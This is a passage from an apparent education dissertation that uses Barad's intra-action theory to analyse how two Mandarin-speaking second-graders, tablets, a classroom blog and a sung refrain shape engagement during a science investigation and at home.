Kirchhofer; 2015; Lenters, 2018; Sherbine, 2018; Thiel & Jones, 2017; Wargo, 2015/2017/2018; Zapata et al., 2018; Zapata & Van Horn, 2017;); **sound** (Wargo, 2017) and **technologies such as Go Pros and iPads** (Ehret et al., 2016; Hollett & Ehret, 2017; Wargo, 2018). These empirical examples underscore how children and youth are performative agents, players and partners with material objects, sound, and technologies. One aspect of this work, more situated in early childhood studies, challenges the notion of an autonomous individual child, calling for attending to the complex, heterogeneous, and interdependent world between the living and non-living *multi-species* worlds children are part of including human, animals, technologies, forests and outdoor spaces, thoughts, and more (Änggård, 2016; Hackett, Pahl & Pool, 2017; Hackett & Somerville, 2017; Hackett & Somerville, 2017; Harwood & Collier, 2017; Hultman & Lenz Taguchi, 2010; Lenz Taguchi, 2010; Murris, 2016; Powell & Somerville, 2018; Pacini-Ketchabaw et al., 2016; Rauito, 2014; Rautio & Winston, 2015; Taylor & Giugni, 2012). This emphasis on multi-species differs from an emphasis on discovering *children’s* worlds, which has been the emphasis on ethnographic approaches to studying children in the last few decades (Corsaro, 2003; Tammivaara & Enright, 1986). In the following sections, I elaborate how the theory of intra-action adds three additional considerations to that of the translingual orientation outlined in the previous section. **Players and Partners as Matter.** The first consideration is that human and non-human bodies, players and partners in a classroom can become matter through language play. Through an intra-active lens, dynamic language making is what Barad considers “matter materializing”; that is, when bits and pieces of heterogeneous human (Xi Xi Lu, Madeline, teacher, myself as researcher) and non-humans (mixes of sounds, diversities of text, material objects such as photograph, tablet, Chinese characters, singing, Mandarin talk), more-than humans (memories of transnational experiences, invisible ways the forces of all of these bits and pieces are felt or affect each other) ontologically form new conglomerations or bodies with each other. By calling such heterogeneous bodies “matter”, Barad aims to emphasize several points. One, previously mentioned, is that who we call “Xi Xi Lu” and what we call a “tablet” are not seen as distinct entities with boundaries, nor able to be divided into hierarchical categories. Second, “matter”, dynamic entangled, de-tangled, re-tangled conglomerations of language making, is both material and discursively implicated in itself, thus material-discursive. Through such material-discursivity, language making can be seen as formed, or what Barad calls “materialized” not only through speech acts such as “没有化, lalala”. Language is both what it can be in school (language defined as spoken and written words that signify according to the WIDA assessment rubric, Chinese in an English-medium space being ‘foreign’ or noticed by Xi Xi Lu and Madeline’s classmate, and content enabled to be expressed visually and not in English during science) and players and partners in Room 246 becoming matter with each other. Emphasizing children, objects, and sounds becoming matter with each other, empirical studies in literacy and early childhood education provide numerous examples of how material objects, place, sound, and more play with each other, thus comprising new bodies. The following examples emphasize how in the mattering between Xi Xi Lu, Madeline, tablets, cups, Google Translate, and yut, different versions of language are formed in the play of their relations. In early childhood studies, one of the most influential and earliest examples numerous scholars draw on are Hultman & Lenz Taguchi (2010) and Lenz Taguchi (2011)’s elaboration of how a photograph that might be commonly viewed as a toddler playing with sand in a sandbox, can also be read as the sand playing with the toddler. They suggest that the play in this case occurs *in-between* the child’s body and sand, or child-sand, where both the child and sand are performative agents. Somerville and Powell (2018) depict a similar phenomenon in a moment of imaginative play between six and seven-year-old children, mud, and water at a riverbank, suggesting that the sounds mud and water make play with each other. Within this play, they argue mud and water “pose questions” (p. 386) while children answer these questions through “gestures, full body movement, vocalizations, songs and word…” (p. 386). Related, in their study of the intra-actions between preschool children and a forest, Harwood and Collier (2017) suggest that *in-between* children and sticks-tree new bodies were formed in imaginative play creating a seatbelt, writing utensils, and friends. In other examples, Ånggård (2016) and Rauito and Winston (2015) illustrate how words and ways of speaking are players and partners with children. Rauito and Winston (2015) emphasize the materiality of language rather than meaning. They argue, “Language can thus be taken as if using children: as words, patterns, sounds and rhymes having their own imaginative dynamic, offering their own contribution in the child-matter encounters” (p. 19). In children and youth literacy studies, Zapata et al. (2018) provide examples of how bodies are modified through play. This study illustrates across numerous studies how boys, cardboard, paint, fabric, iPhone, playground, and enfolded stories from books transcorporally produce play and literacies. That is, these multiple human, more-than-human, and non-human bodies ‘seep’ into each other forming a “collaborative”, that ally with each other to co-produce or “co-orchestrate” literacies (p. 490). In another example, a study from a first-grade urban charter school where Wargo (2017) argues children write with sound to co-create “sonic compositions”, he argues that a body, in this case an entangled community of writers composed by sound as a “material agent” and force (p. 404) playfully stick together human and non-human agents. **Shifting Agentic Potentials Through Ontological Play.** The second consideration is that through becoming matter in this ontological play, these different configurations of players and partners in alliance have different agentic potentials. Why this “matter performing matters”, or why to me as an (emergent) bi/multilingual teacher educator language being able to do more than communicate is significant, is that with an intra-active lens (2007/2003) the focus is what language does or performs in the classroom without necessarily being tied to communication. In the following science investigation, through an intra-active lens, the focus is not on what the blog post, “Méi yǒu huà”, or other words spoken/written signify communicate. Rather “meaning” is what language making makes possible, such as a way of engaging that produces a blog post or Madeline breaking out of being a follower in Room 246. What follows is that with the different combinations and comings together of matter, new opportunities for engaging in classroom literacies are possible through these newfound alliances as heterogeneous languagers entangle, de-tangle, and re-tangle. This also suggests that as Barad sees it, with each formation of matter from moment-to-moment, material-discursive practices are continually excluding particular possibilities from occurring. This is significant for considering the power dynamics in classrooms since through an intra-active analysis, we can follow the trail of what gets left out of intra-actions, versus what can get materialized. Such close tracking of intra-actions can illuminate what interplay of factors contribute to opportunities to engage in classroom literacies. The following empirical examples suggest how through reconfiguring bodies, different realities become possible. This is important for Room 246 because this results in children taking up different and multiple subjectivities, changing their potentials of acting and in turn re-shaping ways of existing for the intra-acting partners they play with. These examples are significant to Room 246 because Madeline, Xi Xi Lu, tablet computer, Google Translate, and other materials re-work each other throughout the second grade school year. As will be illustrated in chapters three-six, as more opportunities to engage can exist for materials, so too can more multiple ways of engaging exist for Xi Xi Lu and Madeline. For example, Ehret et al. (2016) detail a momentby-moment analysis of three scenes of new media making where five middle schoolers and iPads create book trailers in three different school locations. They analyze how meaning is conveyed through the book trailers emerged in activity and how different paths taken depend on what combinations of participants have greater agencies from moment to moment. Through their intra-active analysis, they argue how different ideas were able to gain traction, producing different kinds of book trailers, and how certain children have more capacities to produce media than others. One example is a boy Marcus and a shoe playing as they digitally record. As Marcus drops a shoe in the stairwell, the loud sound of the shoe and floor hitting produces laughter and onlookers, effectively making Marcus, a child that previously had fewer possibilities in the classroom, a director. In the analysis of multiple moments from an after-school setting, Thiel and Jones (2017) suggest that material objects rendering physical characteristics of an after-school setting such as bars on windows, chains, fences, and locks on the playground, intra-act with the black, brown, and immigrant bodies of children and youth intra-acting with the physical place. They argue that with these objects, bodies together produced (literacies of) raced and classed bodies as not belonging and potential criminals. Yet when these locks are removed, gates opened and furniture rearranged, different types of literacies were produced. In a previous study from the same after-school setting, Thiel’s (2015) study theorizes the two-way intra-action between a child, fabric, and how they both have different possibilities through each other, such as when fabric becomes a costume, a child becomes a superhero/warrior (p. 122). These examples are significant for emergent bi/multilingual children in K-12 schools because it demonstrates how the ‘ethico’, or ethical dimension of Barad’s ethico-onto-epistemological approach is related to a “more-than-human, not-quite-human, and non-human” relationships (Kuby, Spector, & Thiel, 2019; Thiel & Jones, 2017; Zapata et al., 2018 p. 490). That is, such examples illustrate how in relation to different materials children who have gotten to count or can count differently than their peers in schools and classrooms can have different ways of engagement not just whom but what they come into alliance with. **Affective Connections Through Forces Felt.** The third variation from translingualism is that affective connections can change opportunities to engage. In chapter one, I noted that by ‘affect’ I refer to Barad (2010) as matter making itself felt in making difference. I expand on this notion in this section. Critical to an intra-active lens are what Barad calls agentic *forces*² that emerge or are enacted between bodies in intra-playful intra-actions such that they are felt. The distinction Barad’s work pushes forward is that matter has the capacity to be affected or feel, just as being felt. This is different from perspectives of affect in sociolinguistics (Wee, 2016), language learning (De Costa 2015) and linguistic anthropology (McElhinny 2010) which orient to affect as a state felt by humans. Barad (2010) considers the affect of these forces as a “felt sense of difference” (p. 240) such that matter playing “are able to affect each other so as to produce something together” (Barad, 2003, p. 821), such as possibilities to engage in Room 246. Thus, affective connections in Room 246 are sparks or gravitations produced through matter making itself felt as it iterates in a process of language making. Such forces are the less-recognized ‘tissue’ connecting players and partners in classrooms. --- ² While Barad works with the term “force” more readily than “affect”, how she conceptualizes these forces resonates in some ways with affect theory (Gregg & Seigworth, 2010) and scholars of affect (Massumi, 2002) in that they are forces that are “visceral” or felt in *some* way “that can serve to drive us toward movement” and often not recognized (Gregg & Seigworth, 2010, p. 2). Barad’s forces similarly resemble what Anthropologist Stewart (2007) calls “ordinary affects”; forces that shift relations, create variation, perhaps uproot, are a life of “circuits and flows”, set something in motion, are not significant in what they mean but what they set in motion (p. 2). What is significant about forces felt is it is not only *visible* aspects of language making that are foregrounded, such as Xi Xi Lu, Madeline, tablets, the “ice cube keeper”, tablets, and Mandarin singing in the following example in chapter three. Also significant are the invisible forces that flowed between visible players integral to language making. Thus, to Barad (2014), the trail of what gets materialized or left out of intra-actions might be more ‘ghostly’ than we are used to recognize. Barad (2014) writes, “even when information is erased, the trace of all measurement remains” (p.261). This is to say that what gets materialized is not necessarily visible or spoken words, it is also remaining traces or forces felt from former comings together of intra-activity from other moments. Despite this emphasis on forces felt, Barad’s work seems to under-theorize the nature and shifting ruminations of such forces given her work is more interested in what these forces collectively produce. To make visible the shifting invisible forces within alliances of language making, throughout the dissertation place the symbol $\varphi$ between participants of language making. This symbol intends to suggest to the reader two main points. First, to suggest the ontological entanglements of players and partners. Second, to give visibility to the invisible forces and connections in-between the more visible named players and partners in the classroom. Imagine lodged (and affecting) in the visual tangle-like appearance of $\varphi$ are invisible felt forces of contrasts, disjunctures of memories across the school year in Room 246, China, India, and Poland. Within the twists, forces felt are also shifting relations of power. Despite different conceptualizations of the concept of “affect”, in empirical examples in children and youth literacies and early childhood education, affect across this scholarship is most often elaborated as a force ‘felt’ by *human* bodies. As such, studies often depict a one-way influence of material objects on humans. That is, material object(s) can produce a force within or between human bodies. Examples of children’s bodies affected by the material include Powell and Somerville (2018), who write how children’s bodies were physically affected by the felt materiality of vibration of sound while drumming amongst intra-acting bodies, objects, sound, and vibration, changing the literacies produced. Lenters (2018) furthermore writes of the material objects of books affecting readers. Ehret et al. (2016) explore the “emergent felt response” (p. 349) of bodies, materials, and places in relation to each other. In the scene of Marcus with shoes in stairwell noted previously, the authors argue Marcus is affected by the energy of intra-acting shoes, stairwell, peers, iPad, becoming more boisterous. Sherbine (2018) demonstrates how through be(com)ing affected by the teacher’s chair in his writer’s workshop, a second-grader is enabled to momentarily hold a position of leadership even though typically viewed as non-compliant. In studies of early childhood nature play, there are numerous examples of the natural world affecting children, producing a force within them to act in a particular way (Harwood & Collier, 2017). Pertaining to Room 246, these empirical examples are influential to considering how forces felt work on children and researcher bodies. For example, Xi Xi Lu, Madeline, their teachers and peers are inspired by, gravitating toward the contrasts of how sounds, tones, pitches of Chinese/English, synthesizer music, memories yut, tablets, and other objects exist differently across schooling in the U.S. and China. Yet as Hultman and Lenz Taguchi (2010) and Lenz Taguchi (2011) emphasize, affective relationships are symbiotic. Therefore, I also go further, suggesting, for example how algorithms of Google Translate and software are also affected by children and teachers, and how these felt forces together are instrumental to what engagement can become. It is thus these symbiotic affective forces between players and partners form connections and linkages in Room 246. Chapter 3. Blogging Science: Additional Opportunities for Recognizing Engagement in Three Stories How might additional opportunities to engage be recognized? Galvanized by a science investigation in Room 246, this chapter puts the theories outlined in chapter two to work in a diffractive process. The chapter tells three entangled stories of the science investigation that suggest additional ways of engaging. By analyzing the science investigation through multiple stories that occurred at different times, spaces and moments throughout the school year (the hallway during video elicitation interviews, the classroom, Madeline’s dinner table and living room during the winter and spring), I ask the following questions: 1) How is language made between players and partners in Room 246? 2) How does this language making make possible recognizing opportunities to engage? The three stories operate as an initial plunge into the noticings and arguments made throughout the dissertation. These initial comings together of the three stories continue to be relevant in other moments and are theoretically returned to and elaborated. The December 16 Science Investigation. It was a mid-December afternoon, the moment that Xi Xi Lu and Madeline would later indicate was the most significant to their second-grade school year. It was the moment they continued to bring up un-solicited throughout the school year and the video they wanted to show to parents and guests in their classroom. During this forty-five minute science investigation aligned to Next Generation Science Standards (NGSS) on the structure and properties of matter, second-graders were asked to be designers and data collectors. The objective was to test the insulators they improvised in making the previous day out of materials such as disposable cups, tape, and cardboard by seeing if it would prevent an ice cube from melting. My camera and I were near the front of the classroom with Xi Xi Lu and Madeline. As the Kodak touch and I recorded, ice (not) melting is photographically and orally documented in 10-minute intervals by second-graders with tablets, the results then reported on the classroom blog. Sounds of the classroom teacher could be heard, “Everyone’s job right now is to walk to their ice cube. Take a picture …” With this signal, the frequency of sound changed from the previous slow hum of children’s voices to loud overlapping shrieks as insulators, different sizes and shapes of disposable cups and bowls, small pieces of pleather, sheets of aluminum foil and other materials built by children are opened—and (melted) ice revealed. The Kodak touch and I recorded the loud shrieks from Madeline and the teacher stopping mid-sentence, her head turning to follow the noise, perhaps startled. The high-pitched sound, like a baby crying “AZAAAZAAZA” from Madeline followed the sounds of classmates’ “yEEEEEEss”, “awwwwww”, “oh my gosssshhhh”…. “hhhhhh”, “woooowwwww” as the progress of ice (not) melting was checked (see Figure 3.1\(^3\)). --- \(^3\)Photographs from the classroom throughout this chapter with superimposed images, such as Figure 3.1, illustrate how simultaneously the moments can be viewed how we are habituated to see children as individuals in classrooms as working with materials, and intra-actively where language making is continually iterating where all participants are entangled and engagement is collective and dynamic, depending on each other. Figure 3.1. December 16 science investigation. Madeline run-jumped across the classroom. Back at her desk, Xi Xi Lu jumped up and down four times quickly. Madeline’s hands pushed her body up onto the desk in quick intervals as if doing push-ups. To document the progress of their experiment, rather than speaking in English about a photograph as their peers did, Xi Xi Lu and Madeline sing. A Mandarin jingle about ice, a repeating refrain of “Méi yǒu huà, la la la” 没有化\(^4\), lalala (it didn’t melt la la la) rolls off of Xi Xi Lu’s vocal cords and toward the surface of the glassy Chrome tablet. As Xi Xi Lu sings, Madeline’s body seems to lose balance, leaning closer to the desk, falling into it. Her open- \(^4\) I write the refrain sung and written in characters rather than the transliteration Pinyin Romanization as specified by the American Psychological Association (APA) in attempt that the characters will affect the reader of this dissertation written in English. Such a contrast is similar to that of the refrain in the English-dominant classroom of Room 246, and how these sounds affected children, teachers, and myself responding to this refrain in the classroom. mouth hhhhhhhh exposes the large white Chicklet teeth of a seven-year-old. Their documentation is then posted to the classroom blog: a still image of fingers around a white cup; solid ice is inside; blue Chinese Characters are superimposed noting “after ten minutes” (see figure 3.2). The ice of their peer translator, Patrick, melted in the first ten minutes. Thus, the investigation was an exciting moment to Xi Xi Lu and Madeline to have successfully competed against their peer translator. Figure 3.2. The first blog post created. Introduction Before discussing additional opportunities to engage in the science investigation, I consider what might not be considered engaging in this moment. In a human-oriented understanding of language and engagement where signs are expected to symbolize and be recognized, as I note in chapter one, not engaging might be the following. First, Xi Xi Lu, Madeline, and Patrick were isolated from English-dominant peers, working amongst themselves. There were, furthermore, mistranslations and not understanding. For example, Xi Xi Lu and Madeline noted finding their activity during the experiment off-limits to students that didn’t know Chinese. While watching the video, Xi Xi Lu noted, “Me and Madeline think this is fun, but American people don’t know what this mean so they don’t think it’s fun”. While their English dominant peers suggested there was a discomfort in not understanding: “It seems like she was saying Chinese words in that thing (tablet) so we couldn’t really…”, (3/24/17 focus group interview) and hesitated, his voice trailing off. The same peer later noted working with Xi Xi Lu and Madeline was interesting, but uncertain, because rather than understanding them, he claimed he had to rely on “predicting” the meaning. “We wouldn’t actually know what they were talking about”, he elaborated (5/3/17 focus group interview). For this peer, Chinese/Mandarin did not signify or index. They were merely sounds. Furthermore, it might also be critiqued that children were not working in the dominant classroom language because they did not have the resources to do so. Children were not pre-taught academic English vocabulary with images and sentence frames to work with during the activity. In the subsequent chapter, I suggest additional opportunities to recognize engagement that exist during the science investigation. To make visible such opportunities, I make a different but related argument in each story throughout the current chapter suggesting other opportunities to engage. In the first story, I argue that engagement transpires during the science investigation through affective connections between players and partners in language making (children, memories of schooling across the U.S. and China, Chinese, singing, science curriculum, and a tablet computer), as each of these are re-placed in Room 246 during the science investigation. That is, what comes to be thought of as engaging by Xi Xi Lu and Madeline are the “felt sense of difference” (Barad, 2010, p.240) or contrasts when associations from China and U.S. schooling are brought together. In the second story, I show that through a sung refrain in Mandarin, “没有花(méi yǒu huà) la la, la”, meaning is produced not only through communication that is symbolic and recognized, but also through a-signifying and non-indexing connections in language making between Madeline’s family, Madeline, and myself at her dinner table. In the third story, I show engagement during the science investigation is produced through more-than-social connections, as players and partners in language making become resources for each other, ontologically reworking each. Finally, I suggest these stories call for a dynamic and collective conceptualization of repertoire. How do these additional opportunities come to matter for classrooms with emergent bi/multilinguals? Elaborated throughout the stories, three ways emerge: First, in addition to orienting toward a child’s cultural funds of knowledge (González et al., 2005), other ways of engaging are possible. Second, there is a reciprocal arrangement between what opportunities to engage can exist for children, materials, and sounds in Room 246. That is, when there were more ways to become something else in the classroom for tablet, cup, and cardboard, there was a wider variety of what children could become. Third, there do not need to be binary approaches to the differences between education systems across countries. There is often a narrative in U.S schools of ‘this is how we do it here’, and that children and families must assimilate to local ways of doing in order to be viewed as successful. What I propose is that the contrasts between schooling systems are generative, creating opportunities to engage. **Three Stories of Blogging Science** **Story #1: Re-placed Resources and Enfolded Memories produce Disjunctures Across China/U.S./home/School, Affecting** In this first story, it is the disjunctures of (in) visible and (in)audible players and partners affecting as they are re-placed across schooling in China and the U.S., home and school, that produce the capacities to create multiple blog posts. To contextualize it, let’s return to the original moment of the NGSS-aligned science investigation on December 16 from the first page of the chapter and focus on entangling languagers, or players and partners in the opening scene of the science investigation: There is **Xi Xi Lu** with **Madeline** with **tablet**: “….. Madeline run-jumps across the classroom…Xi Xi Lu jumps up and down four times quickly. Madeline’s hand push her body up onto the desk in quick intervals as if doing pushups….a Mandarin jingle about ice”—There is **tablet** with **singing** with **Xi Xi Lu** with **Madeline**. “….. a repeating refrain of “没有化, lalala” is recorded” (it didn’t melt, la la la)...As Xi Xi Lu sings, Madeline’s body seems to lose balance…the first blog post is created”. There is **Mandarin/Chinese** with tablet with singing with Xi Xi Lu with Madeline “没有化, lalala”… “Blue Chinese characters superimposed…” And a moment the following May on Madeline’s couch at her home, at the very end of the school year: It was the video with “没有化, lalala” that Madeline waited last to show her parents. I was hesitant to press ‘play’, afraid Madeline might get in trouble when I left their house, showing a video that might be seen as playing in school. But Madeline wanted to show it. Madeline’s dad knew the refrain well, “没有化, lalala”. We had sung it together at their dinner table several months earlier. He had received the blog post that Madeline, Xi Xi Lu, and tablet posted to the class blog through his smart phone application. Yet he had never seen the video. When the video played, sending sounds of “没有化, lalala” and tablets and children twirling into their living room, Madeline’s parents, Madeline, and I watched the computer screen—our rigid bodies next to each other on the cushions of their plush couch. Madeline’s mom’s face was still. It was a different expression from when I had shown Madeline sharing Chinese vocabulary to her classmates and English-dominant peers trying to mirror her pronunciation just a few seconds earlier. The video clip ended. Rapid Mandarin I didn’t understand louder in pitch and seemingly urgent transpired between Madeline’s mom and dad. I never translated it. When I looked at Madeline, she was upside down in a headstand stand on the couch, perhaps waiting for what might happen next. How does an intra-active with translungal lens make possible seeing what happens when tablets, Patrick, Chinese, the Mandarin singing of “没有化, lalala”, and elementary engineering curriculum are re-placed from how they are perceived to operate by Xi Xi Lu and Madeline in China compared to their U.S. classroom, and from Oakville to Madeline’s home? Blommaert’s (2010) notion of resources as mobile from a translungal orientation provides a way to begin. An assumptions of translungualism is that interactions occur where Xi Xi Lu, Madeline, peers, and teacher work with the resources of their science classroom: Styrofoam cups, cardboard, a Chrome tablet computer, glossy real-time photograph of ice in a cup not melting, ice, Chinese characters written in blue on a touch screen, singing, cups, and fingers tapping. The *interactions* creating the blog post and “没有化, lalala” could be said to be enacted by Xi Xi Lu and Madeline, who are understood as having a capacity to act before entering this *interaction*. Xi Xi Lu and Madeline are viewed as having agentic capacities to assemble semiotic repertoires (Kusters et al., 2017), from combinations of semiotic resources such as photograph from the tablet, Chinese characters singing, and Mandarin talk from knowledge and skills accumulated through their individual life trajectories such as former school experiences in China and forays experimenting with drawing apps on parents’ cell phones at home. Engaging in interactions with peers and materials in their classroom enacting *communicative* practices, Xi Xi Lu and Madeline could be seen as expanding their repertoires, developing “toolkits” that involve ever-changing sets of “tools” (Orellana, Martínez, & Martinez, 2014), and “stocks” (Alvarez, Ananda, Walqui, Sato, & Rabinowitz, 2014, p. 327). With translingualism, these objects and sounds of their classroom are largely being acted upon. These entities are not ontologically intertwined with children, Xi Xi Lu, Madeline, and their peers, nor am I as participating researcher. Blommaert (2010) notes that when “linguistic signs” (text and images) are ‘re-placed’, or put in different situational contexts, they are taken up differently, matter differently, and a whole new set of attributes are linked to them. Blommaert argues that signs can index different meanings when different individuals (with different histories and repertoires) consume them in different global spaces. In this way, during the science investigation, Mandarin singing in Room 246 would mean something very different than if these lyrics were sung in Xi Xi Lu and Madeline’s former Chinese classroom. Their layered associations are very different in each schooling situation. Yet intra-action invites an extension of Blommaert’s notion of mobility. Diffracting Blommaert’s notion of mobile semiotic resources with an intra-active lens, I argue that rather than these re-placed signs *communicating* and symbolizing *meaning* differently, they *do* something different in this American science classroom from what Xi Xi Lu and Madeline report they could do in China. Diffracting the term “languagers” (García, 2018) with an intra-active lens, I suggest that Xi Xi Lu and Madeline are not the only agents of languaging, as Garcia intends with her use of the term. On the contrary, Chinese, Mandarin singing, science curriculum, tablet computers are also languagers engaging in the mattering of language together. In this case, non-human or more-than human objects in the classroom such as tablet, the cup, and cardboard would not only be stagnant backdrops, nor “little bit of nature….passively awaiting signification” (2003, p. 821), but rather also performative agents in alliance with Xi Xi Lu. With such an intra-active lens, Xi Xi Lu and tablet cannot be distinctly human or non-human as both are tinged with non-human, human, and more-than human characteristics. With intra-action, I suggest that what Blommaert would call resources, such as Mandarin singing or tablets, produce felt forces with each other. These felt forces run alongside the communication of the blog post, yet it is only communicating to Xi Xi Lu, Madeline, and Patrick, not the other twenty five children and teachers in the room. Expanding on the notion of felt forces, the “felt sense of difference” (Barad, 2010, p. 240) and energy created through affective connections between participants in the classroom as they are replaced, are: - While **tablet computers** were ubiquitous to their U.S. classroom, according to Xi Xi Lu and Madeline, they were unthinkable in their classroom in China. Xi Xi Lu and Madeline noted memories from school in China where tablets as part of classroom work would never have been possible, instead being confiscated by the teacher (3/21/17 field notes/interview). - While **Mandarin/Chinese** was expected and more prevalent in their school in China, re-placed in their English-medium classroom, it was less prevalent even though it was allowed by their teacher. To Madeline’s parents, in the U.S. Mandarin Chinese was only expected if it was in a negotiation to arrive in an English translation. Madeline reported finding it “very very very very very very CRAZY!!” (school interview 4/5/17) that it was possible and considered a legitimate answer to sing in Mandarin and produce a photograph of ice not melting in order to document the science investigation. - For Madeline, while **science** curriculum was expected in their U.S. second grade curriculum, it was not a part of her the curriculum of her Chinese schooling until third grade. Madeline’s dad, a scientist was a supporter of the Engineering curriculum and praised the design of the activity when watching video of the classroom (home interview 5/18/17). - Whereas **singing** was expected in their after school musical theater training where they sang together, Xi Xi Lu as Cinderella and Madeline as the mouse (field notes home visit 2/1/17), singing re-placed in science was not expected. Singing evolving through this new intra-action, that was not after school, but in **science**, where singing had never been part of documentation or science literacies before, made the moment unthinkable, hilarious, and happy, according to Xi Xi Lu, Madeline, and peers (3/24/16, focus group interview). Yet singing was not seemingly an expected response to a classroom activity according to Madeline’s mom. - What was also significant is that Xi Xi Lu, Madeline, and Patrick, all of whom had experiences of schooling in China, were re-placed as players with Chinese and singing in their American classroom where these ways of acting were permitted, whereas such play wouldn’t be during their school in China. For Xi Xi Lu and Madeline, they note that with Patrick, the science experiment also enabled a way of acting, a friendly competitive taunting that they reported remembering being expected in their Chinese classroom, but that was less common in their U.S. classroom. To Madeline and Xi Xi Lu, they found the lack of competition amongst peers in their U.S. classroom “boring”, and something they recall missing from their Chinese schooling experience (school interview 3/21/17). An intra-active lens makes it possible to consider other aspects of language affecting children in the classroom in addition to aspects of language that were visible or heard such as screaming and gestures. Significant are also the invisible, silent, yet physically-present disjunctive memories across experiences in China and Room 246, working as players, lodged in the twists of $\varphi$ that affect, evoke, and move in-between the more visible and audible languagers of Chinese, singing of “没有化, lalala”, tablet, science curriculum, and children. Such recollections, bits and pieces or traces of other times and spaces from previous intra-actions in schooling in China and other times during the school year, speak to what Barad calls “enfoldings” and “marks left on bodies” (p.176). To Barad, within new intra-actions produced, ghostly remnants from previous intra-actions are ‘enfolded’, or kneaded into the new intraaction. Imagine enfolding like a dough starter, continually fermenting, worked into a new batch of dough. These ‘marks’ or traces from former intra-actions, like incorporated fermented dough, are reminiscent of what Barad calls “the sedimented historialities” that “matter carries within itself” as “it produced as part of its ongoing becoming” (p. 180). These continued fermentations work similarly to what Barad (2010) calls “spooked” entanglements (p.4), such that when previous components of intra-actions aren’t present, or perhaps are present in different ways, having different ‘marks’, these hauntings still affect each other virtually, the hauntings still present in the here and now. This spookiness, or fermenting, is the matter of former intra-actions from schooling in China and across the U.S. school year. I suggest it was these spooky disjunctures across China and the U.S. that produced Madeline’s run-jumps and push-ups on the corner of her desk, the continued refrains, Madeline’s body losing balance, peers’ cautious yet curious looks from afar, blog documentation in the classroom written about in this paper, yet also the continued reprise of the refrain and blog posts that followed. It was furthermore these disjunctures carried into Madeline’s home five months later as she waited in a headstand on her couch to see how parents would respond to the video footage of the science investigation while I sat body rigid, wondering if showing the video was a mistake, causing Madeline to be punished. I also suggest these contrasts speak to Madeline’s contention that the moment is “very, very, very CRAZY!!” Adopting an intra-active lens, I suggest felt forces are not only those felt by children. Forces are symbiotically felt by the tablet. This happens as electrical impulses occur as programmatic vocabulary is modified when the See Saw blog application came into contact with the Chrome camera application through finger taps and Xi Xi Lu and Madeline’s voice (Langlois, 2014; Manovich, 2001). Through its dynamically augmenting software, the tablet has the capacity to ontologically change rather than being recognized as stagnant. Thus, I argue that it was not just children’s bodies affected by entanglements but also mobile technologies (see Ehret et al., 2016). Also augmented through these forces are the blog post and what is possible in science and this elementary classroom. Through an intra-active lens, juxtaposed memories provoke new moments. Within the twists of ψ, what Barad calls “matter”, remnants of previous intra-actions were felt by children’s bodies (Ehret et al., 2016; Lenters, 2018; Sherbine, 2018), as the science investigation was experienced anew as the original moment enters new intra-actions with focus group video elicitation interviews several months later. Thus, contrasts were still felt when Xi Xi Lu and Madeline’s peers noted, “I guess it was kind of like a crazy day…Kind of rushed… Excited because some people’s ice didn’t melt” (3/22/17 focus group interview). During another moment, the video of the original moment produced collective sounds, “uuuhhhhhhhhhwwww” and “that was bad and good memories” (3/24/17 focus group interview). Davies (2018) adopts Barad’s intra-active perspective of memory to show memories are dynamically created anew in an event of art-making. In this process, she writes of events across times and spaces, author, words, paint, magazine clippings, box, and kitchen together; memories are intra-actively produced anew. Memories are not only ‘what happened’, but what are dynamically happening anew, stories being materially re-storied in Davies’ cases and in the construction of a pained, collaged box. Likewise in Room 246, memories during the science investigation weren’t just working their grittiness into the cracks of these intra-actions between tablets, children, Chinese, and “没有化, lalala”, affecting them like a pebble in a shoe. As I will elaborate in chapter six, memories for Madeline and Xi Xi Lu, just as for peers, were simultaneously being re-opened and fluid through new enfoldings during the video elicitation interviews, changing how they were able to engage in the classroom. Memories were provoked by intra-acting children, Chinese, singing, and tablet computers in this moment (Story #1) as Madeline, her parents, and I, video of the science investigation, and couch awaited what would happen next. As “没有化，lalala” manifests at Madeline’s house, rather than communicating meaning, the affective forces linked with this refrain appear to have accumulated as the refrain moves across time and space. Thus, for Madeline upside down on her couch, it is “没有化，lalala” as a carried resource from multiple moments across the school year that is spooked with an affective breaking out—as a way of acting as a different kind of student than her parents have seen her as before. **Story #2: Different Ways of Meaning Across a School Year: 没有化, lalala Reprise** In addition to communicating the taunting “the ice didn’t melt” to Patrick, “没有化，lalala” becomes something else in this story I am about to tell. 没有化, lalala was a material, a resource, a component of language making that affectively connected. Just as Xi Xi Lu’s and Madeline’s English-dominant peers, I too was affected by not understanding what was happening during the science investigation, lost in the high-pitched screaming accompanied by 没有化, lalala. Even though this refrain did not signify to me as it did for Patrick, it was nevertheless captivating for me, leading me, the Kodak touch camera to zoom in on their activity. The following vignette I share is when the refrain of “没有化, lalala” continued on several months after the original moment, this time in early February at Madeline’s home. **February 2.** At Madeline’s ground floor apartment. I am soon to spend forty minutes watching Manga in Mandarin on the couch with Madeline on her dad’s laptop while he serves us steamed sweet red bean buns. We are soon to sit down in the living room to search Google Maps Satellite view for Madeline’s former home in China, her school, and her town, scrolling through many pictures of her seven years before coming to Oakville. When I enter, Madeline pulls my hand. In a torrent of giggles she nudges me to stand next to her dad, back-to-back in a height comparison. She places her hands palm to palm with a gap between them. Madeline takes my slumping snow boot next to the door and holds it up to her dad’s shoes, comparing the footbed length. We’re now at the dinner table. Madeline’s dad is translating for Madeline’s mom, English to Mandarin. I attempt to make up for my clumsiness—inadequate Mandarin talk, my large fleshy fleet under the table, exploding two inches out of the sides and back of what for me are petite cloth slippers. I attempt to show off in an improvisational dialogue with the varieties of heterogeneous materials at the dinner table. I engage in what I hope are savvy movements with chopsticks, prowess de-boning fish with fingers, cobbled together sounds and morphemes. I mime with my curled hands and fingers when Madeline’s dad asks me if I can identify parts of the chicken on the table. I’m not sure what to do with the bones in my bowl when I’m offered soup. I’m moving my body more than I usually would if using English at the elementary school. I’m trying to experience but simultaneously concerned with keeping the interaction moving. I’m desperate to form a connection with my gracious hosts, people I care about. There’s a moment of awkward silence. The reservoir of linguistic resources have dried up. Think fast. Keep it moving. Think fast. “méi yǒu huà, lalala”, I sing spontaneously. It is the first thing that comes to my mind. In this second, “没有化, lalala” is re-purposed. To my surprise, Madeline’s dad sings the refrain back to me, the same tune. He shows me the blog app from the school that he has on his phone. He had remembered the refrain from two months earlier. He is in on our second-grade joke. With the concept of resources as semiotic (van Leeuwen, 2005) and mobile (Blommaert, 2010), resources available for me to work with at the dinner table were English, bits and pieces of Mandarin, chopsticks, fingers, curled hands, smiles, silence, and singing. For Madeline and her dad, resources included Chinese, English, a smart phone, pulling my hand, singing, silence, Madeline’s hands held palm-to-palm signifying length. 